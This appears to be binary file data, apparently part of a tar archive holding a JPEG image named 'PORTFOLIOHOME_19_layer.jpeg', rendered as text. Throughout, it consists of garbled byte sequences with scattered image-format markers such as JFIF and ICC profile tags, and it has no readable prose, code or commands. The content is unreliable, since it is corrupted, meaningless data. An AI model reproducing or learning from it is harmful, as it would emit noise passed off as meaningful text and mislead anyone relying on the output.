wqyƟ'\涂/ʿ/kD>T9q2G"_iqd#򍎑r!KGH $^ִb*ޕ 8 lKAθHتr:dwUQ)&J} ` f1[G"~+R2`Dd^iMsxVR6=RezּX Ga`i!jC>6Y83E^6=EQV)rAʌ鰶#,DZ!-rݒ 7"ȕ5ϏM֑+,MGCYR]sdSBTu3nȦ&t'Ͳ>T.nQ !ܫ1e|` uXnjV]\QE^Z}^Qjw0hD$HSLĨm;"ʩ!܅<;*6ͺ튾KqRI@Em<|-|_eK2_2潕C5K}w%)zV;ĪrALVkdS6EΗkUD)}U챯 ~T%K ӸS ZHD<'JZV*"PZiԞZ+L ևO?QJ̲bBѲF>uWh*C]3WK3evYv4w\R/\s=uNI Ik]XmHIQU!$ԕJ"R:ZxIZ *QXq6ZDlR1744Um՘J fF֋]mH!ZZ7ۊéNJjE_oHa@6];(9>Q!I=E -ӽܨ$r&P*7J­0(Yl L`νr>qJ(mi5; lmM_ riH.%3M)F?uA#dEQ#NV$)qҹtxyPG; VXs؛бөuq!bh[qqLbIU nM]aըFXICeeq=kϖمĆHE@8 HݢWzQ$Ҭ๭pԶ-o_8#D+8#?,`1R?uy}Ե6и>CZn6]H{8jx)Ǖq4TJc,"))Œ %ZXU*i(K$Q! {)&jT2zsdkZnZ)c}\-izxct&DYPHt$j_%V~ }W1&;a bƝuݜa[v7E'_p­&ojITVOKZǨϬ'>Ccb8 tht/Slq5"yyRZȵsD$ O{ec09^-cgG?/}iH*I c֥UٱJKoKeV53 >@FK͠XfŘXVb,-"2Yce8(^?cl .ow0JZH==+ʂ`G.s>& ϒ. 48"c {6L"J .&$i)L%!*x!8)@;O:~CCOXwѾh.7 T{~&Uى!op;?y;% mn:9饴+xUI USTpq$ė<ޟ,>J)/Alxݤ) ,xKRŕ+q&srZi{OQz0zLcsH^Olӱ $ :_=x4vu_W IJFy ca\ۢ\O`x(–G[G flN4rKH˫ymtfTir0wewrH}~ElJKn XCԬ`fv^YN7믖KK*v J8Yflq:ol7P;lUI5+;Np#]PaMlh kFvo *P !?Ou%泺/8EwdnNM~gݕc#;\c:X&wcV-FEYEKņ<<|*V+-jUΝ&k'flP<ŏ!Y-`S*#,.3c53V)pʌDgpJ;nk"p?`,.HL{0\*[ł_bgulCZ }/W١6tR!';\HTMQj+K̟ :KSM)6Zmu}.__{>KR7n22.e*YN[%s]/M`n;k_,޳;nrpǍw>N6[X<V64qn~%;sJ-+.iwu woتC͏-(|]crgat|t.1I>>6A:lYDTM1PAXÙ45PZ2`G{MC,\6Gj0"hH# jR4!hRT5J;JPM`R&m# 5PQFnOQR0,2t+Qe kY!gcIZ7h$Tl) *⼃eдdpuEHTӺUZΑ;.B(aj^~$rP%^t'J2Zb0$k5*LEѺ67ZX ~է)bXI#fEtw $P)()TJr%QN`sU$ε^BAP~6a?xU.D•c3-!M.$X+&x;-Wy9A!Vu uJ㼣Ms U"QKQC _xBԖ7#';&(Ձ)Q8G?j&BK6kQKRX9( H6*tǔ+M!)d2#$"ӱhW0J˓ ?n'{rW<ԧt)uxR=ёStࡴ*J$օ:t)@NjNUv:šrD[EXB[iJv)A‘STuhET }Ԝ%,N*;&fK( e ➐ҴPLhéYr(ZH„I OA x&1*ĢiF_kGmZ諝Zj5V S\; a%XU&-Hdm-@ J,؅+/U'ny.:rhHmhsiE>6k:82mӇXLaO`cj,:yTu:'ӮgI lNpS6+Jqa6*ĭpE=ԭG;4kwM'k}rG*H)Y\Hd_`%qh$,$q;Zz龬2#`.2R+7־%si)wσ{4l9`c31U YƕE -Dװ V̠-9eJ8R ]ILҒz!Tښ]jFRd)%%?N)D!?+Fv(KPQ>0| KZl 5:Q}KvGOe̯*gN-6Zlk nɺ3A. U$Xҋm>.9mx+u uQ{3p"x[zݕI,E9Qc˜nšxqqRd288SW1NӨlQ1Vn}AgsK6h̒4&j)d)gZıgy}j@euFોd9eii-r at >AdaNR/i/Pe\7)ƽtLuzbiq݋'\?U21pX6sc%YK4F+&\H-MQ 3-ܮ Hq}/ !skgp;`fC▽"Gy7 &>PW6FLkCWL7lE.hX4k$ /wdDv\N9XQ쓜KSi7jd7ۗIm.c<^+-k.۲..Z]}/Tƕ 25gmP;RRMi"S0bkQ("R/5MsFWq7[J .{1 }qEDé?A7 2_Ԇ@Q?w=BAҴFܸ>6X6qOZKiM 1Bns?V1ǔ=]FC:Vǂ &,{T i(;ڛh`a!Zkic!F s GW[qz\?_s>CuY$ cFb;(m+Li!V!9E͢ DR庨-t@W,OgnKv ڏ(ғS}L zQo*p@nbT :vl[U鲸#3Ff:`|}Zb-euiD:{.21Ga Kh;`2Q|5. i;-<Ҹxs/4Tɵ6e]/envv#X߬[6A$.VӦk7&~w@썹TQ)z)dʮ+woQOz\`Ȏ2u*4qFרJʥ(rh)%ZYShF8+@݊13 -RpJ3*R4}VI^l!Ԯ&ԯc~TonT%6/vnwjFJG)^NTU XKR?~UW?*VK '- ^e꼋YXLZ22t $@Di#IihZHI2z@2tA„1Y3\hM_k3hQ)SK\sT$ɤ'*'r 1TADL'j%& R q(= i(&숡L'a\:2> 6ۣ)ZTob`iRRC rcR(-8(3P"M$:&.J_iZ%H-HöQ(Q\ a=ԺAА\B" BE*b(0rgJV.ulHbZ$v!’NWI ySGem(\eGb¼A9VMKV 1#5PC@%0Yd RA<r9U\ilTn꼍a@ɫbƞTs  'G^=-8mql+,p+޽3uxirYÀ:NM.뵇\YZѠk:ꤿg ;{(P9@;:X Q(;+ S#d rQrN%-v OK8u}'$@9q+&#O!T4n@pfX}Cqe{)Nt=-}JҲpaڹd\gE,췗rcG֍ifS2 4E&DJLCϤEZod MnKaiD^p=d/kY=lbus>au7q _+;՜w!uvRnDY .kZ؍0:OdA4ӾҠkfH-Y-Xή~_ˎ n[3r9̌ʫ*eV;-]LtڊVeQԖԟߌ1.c39w-i3%٭-6<'fc4iwYxxS3,5#K9fmZ ؅fNH~VwXedt2q#4 m*2;pCU~@b 'x*6)uKGz}LlݕF\6Yn^AyqyfccG!drM|7b+Hy>JW+`ʯk7%p}ۮ6.α@v 3\}&kc~xdUzܣ6䡇I!sTHmMՅ^ujkwb3嚈z.CuѓzM1eǐb?m8ͤ7D[J+,Yk‘4mtڏ#wʇ$T?[?.lL;#G$}CMy IuhQFOgMrvU zrencc GO+ nÛ¤:7(+,$)KI-969›ʊ.QǵM>Pc*$>QyToeF\ 9KCDѴIȴiLJxͨt`V:=ީKJ o&WKVA*[UbneX4xc ̎uR%i>OTvI!ous$dqG14qTpcIXٙe4vJM=lnY/6T@9ë(@R z" XrJR ~U`(Ƴ)R]0YعRLU)Y yL\T*-ӃI$i@+BLZ(0hU'ʘH5V򳼮U)TNNvʼ Y R@IW

            R𙄸1۩Nȃ@Z~ Ri&jpL軅MI Kh=kA *̪} )6DA141e ^TFBu1~P9C)%DݬU* BrU bPֲnOx1hTpS+jXie<)wdبI]9>NUw:Nw夌$$ 2E5GJZtLZV`4JLI%: 'B:A$6WrJK._AuTlV4էM+.Wy*Iժ8Ij7q@Jbp5b%R@&N'Rei&@_=VFlTړЂ=+R4존S$gj7GJxNԥ E[  j(DUA*LM!;@MH)d֙$ RM:K5#)Id2Rk@+ >J}ES!Ԑ(==&DIm&klF ^6г`-w*,q)eWu Ufp#eeP>f+FB@OSYJVŤMmj þTVpJ%. E 6>$@RҲ=YF STةRn){(:2Yck +١iyct}lqc__r~+izZ48}gLiܫ`nVnUJV6mQleaOS3ArDbƕR j?W&jO8ƒR$֑ztӔe~MkdR=;y3-[}›.X\ kAKޥ-B!`O.Wfn` z^[b1k>^r%}~t0Gj%hÏm:O 44On[,MlAL,$ ,Qf1$'/4|/tխ׷8NŽQ;7 uޜg)"q*gR\_ԝ#K3d> Z[z.;嘺9ԍoŰEK%Ρwأ!Ɵ[ 2>Ө<.#g2'2A#2cyQܺ3t$n' FKE2>q48Jv9װ.*ZHuy 2kudBYsy4p lR 6ŁN&q'\-(ƥZOoZA,e`%$V u-ZOKX\nOr@WK <s[Ne^:VgP2>T16>ȋXN}Rf4..0)aӀC9Uv#Y$+rj:W&3z[rV&DFk&]o.'f\WГLs 9eBayf Kw2A$TA5I%)#Xk}IeZ>I)5 ;$8D$8"$aZII%4EH$_LoEG.9 RI)ڼB6B-4i$тI&!FI'ZKC IU ~IaZĥy$S56JbjH8.TnjI)TVRITEJDIPV7(Q.^J]SڡvՌLI-sc=txyZ+Z$?LJ 7?$I/#۶D)$4.1i!H^$mJU 1tATdq$Q oy{O#^#7I$^s, Ŧ9[mZ9'kVI_W/ɳ[ `fF5Z I,:9<IVnf=M}DMM$]$m򹼬xzl k%$xQ,0zHEy5}.\^~srLii$6~CO$Y16H-AzN^g?D cEJ>?Xp 6u/7;IYv*^btn\-:!$7񶷃s6*^y 6I$xnǺ,ZI( +IkHtҡ;U]͎M+&ǃI%JIsh#D$ֳUi""IU&~}NCiBI-g3a2eʓ6b؃m$O1_6n1$pDQ|&2<I,J4 p$[$ߖ#.#_video-media/PORTFOLIOHOME_19_layer.jpeg000060400000460401151724237330013341 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt/ij3bAbVmY,WKhd@lADD,K[TP@ZDEJK ,@@eIT@@@@@A@d(dPP@1E4STS R5E*3IMQ@5I@%R7(Jj(jdh'‰B5c>KnՋ[ٲ{ 0vn%st-,,VP@Y@@@@@@Z(D@@@@@@@@@A@fPhd@hdhF`~GwV^O7Ƚʤ2ϼl̹c~ی2Xe)j2f|+=o*%} vD~7 !^ܳse3p+YS,ǞfR5^7]cdKu~_Kތ3|{7GZ㓮9[ņv*HFD5`,Y`ݖŭVʂ 5kl Zkb% bX(4!`Z( PQJ  P , L"̠   Ѐ %%%1E5H#4%5E"P-%6+,RSttSt4SuusZʊu NFf ZQBƒW nkk vJ5k + ͪ+V[+`խZ ((-" eeV[6X4 ( PE 2("     Yhh##@2--  [6X5eew% 5r?/9199frn9WN哔띌p|$JF^]q1½dO#+Q+dL8]5)[/D͸ Ժ*HbBfxfz2p͸+R˦xe"|6;MhWտ&^{ONb&Sqz}3Xif9\0ۤ1Lͥ;Kdd#vJ-kp Dkp Yl-¢ipnelZՖͭ[X-o+w%-k·{1e[Ŗnlؖ""@@@AZ(Z)@P@@@EDQP@@@P@PD@@P@DDJEJFE(ƀdhQ(AP :uJflJoubqNBG*vƥ)۪u*Ӫu5ouEmm,0mװ:ۗet;k Z=---,`*hX (( P P P P ("STPMQ@Ƞ 2"   E E '?n9u/\q&2,Ȟga}f䇧okc۬l!po~Bs,rnȵ3Y p.}9d%#:t&yRcJ㶝;ľw;ByϜ\B'/^)p;|fLm_cDξ+e 2if\xc8yqFo/u/`w{eW~Ÿv^^{8K)]/g(˲Bv^]t[r+dHWXصZݭkbm$jZ(4*(X؀(((%B((   --( ((((( (((`ͭQE*QJRȠ3E-3IMR4ST((Z bP* RRIKg):ETcS'Prՙ])( R:RP0[Tij2f#&l{5ò@{9v^mDzLDH:YlZăv1kvZ -(  Q@Q@((( 0$PIJ"k=}#7}哖R۞P?n}9e 2?n3)9RFla۾s7\s|6=8fף\mc1f9:X٫&'ٯ JvNNsֲLÆQ0.1tMn5Oy/]y~;O+_oǏ(οaw<^Tg4ncq5c(p <.b㒍Dĭlrjx)]mm˲ī5Ȗ,Jev^=WnDZfYnvXzu]{lؕ۲^\;/b錼5捍Fċ߲v.}:v^QEc?n6Y{QF;FN1IN=w9Fmċ[ٵK,KQ,[@@KPD,-DPDQ Ր lm,m,@AJ Z (@K-EPPP [-[-jdldQٲ-,DB,@QA@f ժFҔdYl@@@JFSu JJt@sJJ))(t ( ;3 :v{{rt$6,l F~ڌx)H pZs콅t/`nfjlhfDK,l@, @A@@APZ(Dhfhh%lyg#dl13g^|FVUP/Lle_09SYaΪV:gO^y|y=Ze5;xfrs? Ij^3HW-mfJl]Mxpه^)qc,/J36@.0cុ5k&rտ,_Cfx7i;.|1.'6363Q۞վ2>2Ӿ&e.9C}Dso(q|뭖97 "]1HfYn]Ԯ[%t2s$JJ]/g;,+c"ztr/,drXzz#&'2n2CӷeeWhgaNݗIvc7wNzqHͨZ|ly;Q=]׻KQxɨm3j2DHhTBBQ(((hAh@mQK[@hel@@@@@A)(PAEPEA@fh(fdZAJ@Q@PPAP@PPQJ))@dӥ 050" Q@ A@-4@(RWFhZ(NP1IM%F:GJJTs)RI0%IFlu&%ײN6p{ c'۲qv~׳e{/`u.-\-klZص,DQPEJJ)AP@@ rf/Sמ<7;FNeݵ} j[^x)Yg,^}zza:9ךu/_d$vp?oF9}GZv2zs ۜf2O<ݵU#:~9َWCZs՚{9v; ]Bۇu]c'DnŹڥt8 ݖŖ%nb Փ)ibVZrkO.1+R7ױ9;};w=F^,vF~xOg)36Cq6#,6юV۳Q"{^=ŮݗJDfǚ%c!^$y7H+gĠ h (  H4!bX(X(X((-X`()h(2("   " ( (( (RȠ @@((4( 2(" -(!J#@ R- 5ETRSIH2ST" @-61k`QeH QMI@I00ŒMQB9'WJ(ia'r)qgu-1fb` [d콘,콘ײ^{v^Qc z;/gZvBt+V"BYbX(" Ֆʀ4%*e  Yyyv9zf%Q¥fb]2Üwױ6xXQrf&r2铎R.7Ӧ*~5q|xhkk_&gg>iE~O&<쉇trf'n#>Ĥˆu(D85jLD8疻z'kmO^{t˦tQ¹aQ5rqjr,Ml6:WOlrW=TK̫:-Q#Q.PO,©Zj О==TO2XfEv;95]{/g.ŅoSk圓ecYygL|S9yΤo:zoim~ec"Okocɘzus&َq%urn>ެw\}o5 FHߵH֣dQ^ͮFƣ`؍;ۆls|svy;j2۲9v^9Q6'h[@@PP@ (@,,@PPPPP@ DVPQAPP (hƀdhQDQ,Q, [@@E@ A)JhZ)*fj(JJk RP!rl@ݖϐPjQYS`9^ *)Ҏ鞮Ӌ=eG.8פ#ST3888T>S8T^8XN :-S b:\g;^/ir/;mwy&*۲ĸMX:km%lWK[sdbTAl@UPP@'TQQ[[dlIi&@,`ƞyspᖹuX>nN9շ]<@ӔeM N3bA#7\r|w{z0Sq옸rh<&2{yvbQۆq0S>qc[lkSD~7it?Q^^7{~[ɘ/qD}7;cFzY{m\6DцH5:ٜ=:Ui ͷ[NyWۍ8/K8=C׫dC=n7m;"aGct3,doL,j7#$fltx1Raa uXf9 Nnʲ C-B ,}@H P11l:N*rjqdXLb[$#<[~Uyrʜ3ەL6{6<]qTL}!|_o3k5{-k;33kޒ7QFԍ澜oo{o썳}7okOtWӍ;-}{xc{QW3fFh=yccqz;,d cdd Yb-"ڊȴ@ E (2(( X((((((((( PQJd@@[QQP ,Q, ,mY#C6ADPYdh@@@PPZJVmAUQ@@PfdZJ) ZTjX,tW;^E*RumAϪutʒzPr꓃'U'uNN 2,a)=380;N 8:L˧YI'fPj2XΒ3j3{Q5^FMvy%"קp{wvq2[q챒-u[r`lZ4Z Z%M%7I@TSt#5ETXh 5eX5klZ5eev1k`ͭX5e kl (?ZK1q|&bijbrn>-}>q٪vx61/ES>xo=tbTzp.^lcV3%쓲1.q[r,b1IJӞNS8Dt/fT完gڹ\o_^G5|z>~(?Ge8Ծ?}`LSQN7 8mۦ20l_W=S*f9MĮ8Y3[׺cպ?z󘑺8åU6L9LNBWڜc&=YgNs'uۆ[{Ն_#ƾ9\7oLgD+MH5MD:Ĵ E5 (IM5X](X0ürRcP|=2R<[3p+ktXΆ\}1a6|][NȘHf,eö5-)y(z'[#~c*a:q3rrXzu9zu3 f%"}|v[fӎ_O_m351|6\>q^D}(6FH xfwrEz%-3j2[X8V-bA[-P@@E@@@@AQE@JPP [@@ [@@@,DD[h@A@A@@@@sDTA@J(RQiDPe@@@@@fPPJ(,l0Z۝`knvJKQRP҄b]i(g0#DIJ8fpwfp蓃T4,,838#Fzac)Y:QQA;L5eͨmm2չFKKbuy^]{Ckn6mm˴p״Q,[[KlJ)ARfJi)(JJ((dj P Z Yl5ev1k`խeVZY`ZY`M^ؘ~oW+}11>%Ǒ6n10wtlQqļ{u\OKDL F> EZtLK?'tbrc,s,t8yyڍg/WMȩ|c/Ñ /kl^٘f!即]NXiLO7T'|/!/#Ǘ՟GѺ3*^y"70Pv37⦣,ꋎ?L}3:j~Z.G|cԺc"9e=Ӆ0T&s>wx<[%VR&\&̦$eܯӺ'|S/pvmG Xebmj%Kj%Xe×sc_9[hдD5B100(YCϳm<ľ?+|~|>F?oϗc_3?4:/^\~GLۧ*V_gVWD>~2E c1陇,w%"O;#$t썞~ܲ9ΤZ^'ʱɫyq:ڱ[@% " HYhhlՖp pX4%(*(( " B P P ((P E@PPDE@AE- D[ZAPQ@@@EA@@f))F jfQDP$UdK@j{0d.6d{v[ml J[)Рt](]}]:D3N.R8BLCqgT GԢ(g8Q:;N,W"fjFʃȉԎoFˏɍHN~^]}dZ)߅߇ۅL+s^lp\|q,N#>^XL9LԾ>Mj.:%fpg^O:rO$O௙`S %x&"87T'gqn'y}}ixn?Aq0ço׆}` z˞xS;py /A}>'G|5Wעz=jjqձuDľ{#trهfo>\s՗Μi"j^ecxd^\batvL'idyz r|r\ 93| |^Dl|>Ifb:g~KFSTELy|Ou왈o3"8|}mYC|=D?Cxǔ_J9>".;f2n>xbi31/_{VWfqQ5pu%Xreqfqayʼn2ܱyUzs,B>-ϣ&S#Yi^g?m/n;(|lq{tLfn<-:vۡruɘ١R:gO?׷W2n<:ׯtRGL}|f&<_OjDyvtrDy! 埖+HΥvNSb~[^zXr}aF}?A؟XQ>޽{#Y{_-{j_*9؟*EtlkFwoLv!^bmwLvRÌln3vvKIZj$XY`'XP-:RTS}a:45 u^ ܯS%( 43eͯ`Q,P [@QQ@T(AUm@@P [@@TDPjB*FdhFaD (Q P*F-RP'i^ kr@( ī+ BR383]e)u(E:,QΆ(% R 5e}3sݎVdK{v[6 @ 8ij863[3::8IӷTy}=N S<388*<=^'*`YF{-d[KA׳d:rܭbA۷q w5 ;-^umk-{c6 X- K ~Ltz+we;c䅌JȘwÓcQZrkO\yݱ6~o#ӯ_ng9kӎɘ/^\꧗1/`MÖ{3rL6W͎_5"g{#ůoDmhLd<}W/TsѻtmqW^__G# ?I8>SFۄ] &ݱEp~ΐwVu]KѮiZcq]! w.:6疷ԘVqbK^bqj5,[0ExaqN9q뗚jq",IqOGV]5<9qg^ϧg_oxQ1q>&'nDӾhW4w:wS׆Gl.g>́fO>y:l)s<9yƧeKXrŷ7-dMy}-[c<^:q$=>ODepz6}=Ŷ&%'TR@:T'X'Ym{IJ%HYlH5b4" 4(##TR ( "YllYl`  *5#^׃25 x<#^L E E--% 4 ( *ī+ ET$-SP3S3 1IMPP%St#TP2-%(-d ۙa]mc'+XZ/g[k-%j՛,KQJJ:JϬS3TU'g~8838=3<3888833*]z[u:7knkh:vXײqv[i{[pd+emhɮ`vq۱n=װ:n}7~ͭį%u(5XVʍĬg1Ŗ&;?o,d}cFʆlXߛFm|>.6tzm;=>Y͕|=q_+NF;&$x}D3۴eby}-~ˍnGח8/uVєG ȪwFQYG^l3v+hmA3?AR84KM97i*縉MRKNl$&YZ[9ddBq(k_ymV.y͞5*c.˄}*.+oxWI}ܰhOx\3)@=f~a uWn/&~ݟO߱m?oV^].ɧntn5 Zy2/<$tӉ}M<#|mc1/L\~j6<Q{q͸'NMLgؙV+ó/.n%ۏdx aKt:}?_6SѫpƿCokחӺrbsr. $913 杭v͖I"009L100<1y\8?φvmFf#N>pEy3-OvX18B5οMc:r\pu[a*k/^y˾N3f/%¼0xay`=Zv<Ԍn*V Cs&ڧ y=7y;L38t3XN#Y ZUk;>J#?RP8Hv}[ٯ ,gL-|oNuf>\H}޿7ˍn6H}p70"ĥU$5{Q&@홛bZEIYZ)zu^=єKxRk13_s̊/Ku~Mחr>}y}//:{zy7^_CO"Q_c? mAFH$RzطFJ箓4b[rԙfdbdct\|ʵNόGf'tek͹卭jOL&0ьxw!^=P)9[->nu2& ;cS^|yvby6O؏駃v_on߷f7jcx7DM5' ?}( c-ZiLN/TiX+>K >fj^y Oncnjzm2k%,]LW77L.Ts#\KxVSvC3Lv'^oNQnE73 (3 9,u1.F<'Ps:uIg3JYC1,+1qQ-JjX 5kbx͸\2^LFw\:wgX'"Tm_+ݕp9C擘;,e>[jFi''w5pB|L ;{۶9<:=Zf:gON9;c9$o57H'leFMFnV(vX:^6\FmFp챓ώv:Zۗe+٫m[mUAE@P@PP)(FhfjeYP@DTK,P@EDEB-ٲjfDD,K[T@A@A@@V)HE:%AH00#IENs:L30 0"TPP X)ieQNvZї,d{9[Q k6 7g-l%f9S%-zC'R3=:,􇧭Gpfpzz3iyg[=&Gy`vZugQ^^Tffk5<3N1۳]~`v콜{-evk:Ylv^ՖͭV[6Չ`?ʻ5ԿQLzcsF,e8SGYef4ˢ2( Z M;9|?o?tH^UWGl_K˜D~O.?<?ϟZ^ޭ|#o~|Oa??%|zٍǓȿэ}qmFj篣׳v61d9D2Dlsty.τ}%#~O[3YyNV1 ,CqI2Q#χf7n爩v7<+~aًpx>v<˳ٯ͞3f=o4uO4n5yq[:뎪zSQJ .Bk.YavOҏ:| ~>>@5xz15͎LuzcWP<.5î?GFIst``:uZDQF#j#s:tz>5<uQ~!#>(btz)'dٗӆ|iD81e(sskj\cXKקlľF:gOv;<l|]1LL7LekцčgOM/r-u>܅nYW|rv/o9w$ZD\H BYj>שJ,-q+,(ݫ ݫ-X(* 4@ *hP@))@A@B@XebAU@,ghDP.J)B䲊- 7c ͖v[6X7pxC+䂉r_ xPJT-mPh̦f'X7E%:RP1GVpfpd5)NӋ3sEe)hvRչA׳ugɨȃe(m ոQ$W[-ڲ[sӲ۝cX7H#V 3E(*RuhsYA#]:yŞD?Fg=}8CYyg iYF^zJvprc%)ٮR ٨\nV2n8;@=~Gz8^MFrM`ђqfݗc;8>/32y9>sˮXS]V%QbZZ)j"JPy)q@sRb >01.bÑ1ke||l\yuÕ_|^\?n~FwÙMG/^wX{oWtǙqǧ#|{uÙ }5#T]cc_R7q%cGQ1csQFk۾->&!1t\ZQ]{$[3 M9&rᔲ=1''cȫ3e* 2[:byۖ6 <9kbu=N@FMFOLa-ѥפc^`ޘ鯌hƿMFB/k$Prp xӪAcQ%2t[9ƞc,-y焸e :j3yemFV7la#騆aizv:C] j$HeTߔXRfR^Ѹ ]=~6[XCufB 4LDN? a':˵Y#/V)!:2yJy蛗80jpOs^}y/f~/KL3ΟB67Xe4팲=x|7<qR:gO'wlw{gt}$~?i5e~|of}{*q5yxqE{;BvyC^PmF~ܣ5AډsjXTAPED@  [@@U ((( Pf P,AbUIE)((dZJ,lid콘<1e.Y콁hf˄VA[ דĿEh DZ(Z(QΊn`))Ӭ'Ps)87Hs.sꔨ%7I@%7I@$ܯfJ&bA2r챐;vXܭ{vX kn}le7eev1k`ЖX 3L.s3q};$#838=3<LGu8L=S3,T?Ur8sߗcuS1;4``5 Ũ)y@UI"[Z^cx[^֓gO8QOVzrƒ59 PeNyl|׳W6_&[dwÝÛvO۾xvǗy3vǓ?\zKÕƾ]~Zָ"?+Ur=,r'_k ?o^OǑOkɿק 澶 Sow')f6efY{"L;ch9cKĈDQ,x^'龱10Fg #ڝb|pGG<уQh1dr]:b F F--FըŸE088Gm:ˤba`cxXCgTH|4>Z@.F. ~30*MFN34ꉵH-9D` fm9?]%X'v[N}rQ׺w sins۷ܻ$ݞs3:N3ڌ8g#q$nXufaR8e:esU"8ZCpu= ui:#X$tF1?mc/Yi)`kӼn;i)8NLet|9Ƴ'~I#}}o:~_&^v?Ľ?5_V6Fǃ.}7dde卍|1㍍㘵+tyqΝqn&#& n%PhfQmmTEP@@,@h@DPTDPh,@'~@@h@(P%K,WlBsf֒J(Akw'f-l+}[,K j͖ Xkl؍ 4%X 380T]))G>NP9RSP9S%[ꔨSP1ԦsXo/hrײۍ@knq@`{[qA{5$ls+ŭvŖ `ͭQEIղղI֓8,I@ >řyʼn=18( z'7T^uzI[XxHy&pN H838(( vKT۶;?^ Xk}\93z0{|xwyj1uǓ7ZoO|y>Gx+D-'٧1^DF ZyW^^7\ r}c'>ztÕW-?y6&__/qz0\}wt׳׶&>qȏ|KQ.:5郔:a>|c?N8KH:,K =We21zED5-Yij!hh 1ᙅQ))H1"R1jYk!i#Lex=syb$}:g +V7Nyb=YCX9L.;|Taݣ7|䍒ff{ 9S.yMe--I'&.R Q@P'ffefAYdV{Ժc^A7lrv {0þ3b.9C1#u6{n6{xgbFc;;c;3 F;}YXc=u쌚ls\rx.jAaFbZEQ PP (Q@DPIE*BJ)@J)@`Z)Q(f-EB(,)(J)JV>֊TVQj-[@PZD70T7I@TnsYPG:)F))as ҒΒ(*JtRJf Mvq[v{,dַ.]2XZDz;[pܻpt>dW[-[[bˀlb [G:N81:މŚu:ޚN^8B$N <838P?rχrղgj23|hqщev9E=՛xu]k(xӌY;ߦ8>qZNJsr\f鞹W_ZƟdz1/G˻|335.O?#m|~'5z'_Hzyam4z{njuz} NsZeGXZg:'˦vӭgC};-7:g9j|ϊΙѝDj>\}L-g'z㖙HvJ;cqHuXjF6cGx;ijM{Ӈ&)bf~UW̊/j1˘x~y?rk_Տ/*W-otǕ<m||0r.#׆ohu2aʉVu;|}8~O2[۫c_gP{qv;c=ώnF2O`[gQryjNz;w#bOifss${xs&{j3u0ѓ]xl^vN\fƳ^̜_c`kyŸ✲QYS+ɇs,)Ꜣa*GYSHWXj%3XȍW{F"Z!L|މ,]3p)]d7"^a#uHWѸID[/Ws{<ӟTeda~X.ym;E,NS)-Ag7hqo} y=dwJ&֢^l6ۮ9s18:DaAal!\[vrQI%-SDyk9b=bGǓ #۬r="ތ9ɯLyC}OFQ]3Ñnzyt_1FX7\_O|dg6ueDddZ {8ĵ+Ŗ+͖V͖ b E,AEhKQ  @h@ I[Jf@@[KQ[.P-[[d@lfBP@@ (h@hd@hf \Ah(((  ( liŭ Zj RaYeR9RS'X^qNG:$hIPRRT:RPS N"IM%%5I@STP3HQ@[XȊ,dr m2j2kj%2j2[^{de=:n]Zm\v[6X4"ShP]NXPuQ&2ی1̟J2>+f#^Z~f3oSP.ETL晌ז>U-fwg&VQDücqq>f49/\Kǿc˫gyTR5^Mx<}|=^|_:c2oTko񕯛M:cCN\q\akQ8_ێB׆4eFK:}"WG>OLNJz|btOCbz|˜阗L8変$^>5vpL[͞,^{|CϞ}y~{|ƞs;pZE=?'XĉjqfikRe1r,Mdzq?ׂ%c)ѝG-FDxed/扇tX^̷L}Kl52Nn9Sq*G|e6:7WlwTY1)Lwku>W_"_]Oקޜ7{|3zuo:{da^9$t}l76D.%׻5ĵbfbjӆZ+2)لLz9j[5QODɳDo%a>4әmΩNHJ(*SlĊ[qËQSyv=ñO/E/o8Loz#ok=pVMחW._˜|LW̿ףWrry~9^ڎOǕ9>ԏ&?8dE?n+ۮ<>r}|G~h||ϛ=]qG|-+Orˏ{#;o<8즲~[| T씍n= >Ke;=]~GϿvώ B3^~n?^ɨP|-zhؿ"rr3!]!.yy;BgϜLKۗ\qYk$Z1qwF_leL협WnqlSa82jEy0-S`v%UH痖|ķ5u\7_s1+1o&yu8mr\#s;mS+w2]g ߯/q_񗻏~ |[6 -!Zj0v!VRKc,-zuz|Rd+cxn^Hzsf.7 5_;nmn+gx{6<مx_?=~2欼rsivҳC {4*_w ޝy>O_'-c'T]yvp:z"YgnLNq0Hv8r==,lu|R7>;wÑOf;"]"_+_#׆hzm-حFM[jBYوl콜u\9`eX:Xk *X-@RS@3E4#T b- Ylݖ͖ lh-ev1k`ڳeЅ3E5E%RM E-#( 5IH24RE((n-lF[صjص@hdVdKKK@[-ldU @~ѡdQ[AP@UTQje~p[[dA-mjD,E((zrIJII@8ړ8STT$88L%;gggiřrYgsӪT,K*q+neddmF@,ddm2j$b2[s[AŬJ+v2 bżc\֍ѻ#ϫd<"&_#o!^Yi&<\:<~g 2.;1q\i匿CTg7]{&2$jvJ8Zutn-jxyYzz+^\qj1 \:Z6Xxpًݖ>3 xa.Hc1|~`c~P̵br3z%,mYy:۬ై͖pOiTɝtz})c_:t>hn8ˍ9z}bxugg.<:|.?؞?'5vqoůqz#|٢"~r0f;y? ΧUHcX"V7_{\y=1+Xߛ/ɛvǕџ/_ȐqɏG"IJ_SW\GG*&>ߘ~ލ\O/Fg-+O.gn>7oۦ}|g}\69#YԤn s+ӽ=:yV6K?pIO睕!^v[7+>Oo? 9+=(ͼs!^{y68"Wúv"W3LK:cvb\gkq(t:9ηힶ.k8L3SNfӎȗήЍW8;+ y}[} 97&yˬa,a:ui1JW,*舴^Lb&\5JF^h4nf endkŬHWH5ek`*( @(#4SI@Q@STP3E5ERI@[-jhE [@@@(fjAPP@f)(bjjR(ƨYfdW l _ e +*C+ 4 #BP E (X4( PT@RSB6P1E(R   J #BYb(X(k`0J0P5I@% a)֭G4b])(fpuP82]hGJv é۪u:L% 'PKX)(j2rX{/g.`/gvAײN]vr[{/g8_-,3b%Gn!i n!8μqkَQ _:X%<8aRxv}5jpߤ)Wc.%~U2:f 08e9כ,\2OnZ-^vx'>F$a/gЕsʼn-Yh*ki05Q"cV6L~ieHm経L{03x1}S=ѳ{xTu87Od}?=|ߖOWx{$$xLz1S/aarqFهӾf>=qp{ugou-n9TLJ>"=헣^/DSL*z1;q3r}ݦŮlnL5/^^9\spx5l{0˴*kJIt^ve?+- /7f1kOfe\Ik sgij3,#(x=8m3$o:|M }nFݮp7\s&<8y]FQa]5ncpYzB1.lr c&ፘ~j3䉩gzxb^3y~zC˞bq sbiqr.k0 Gvױ,|9ăw[c`38:quՕKz1vOV;n7\ȵ+k(,rn'-f=??8̿aq;_%f-~ĘDυo5ٻem1o&q1#k}f>XLweAR=xgaW-Fs 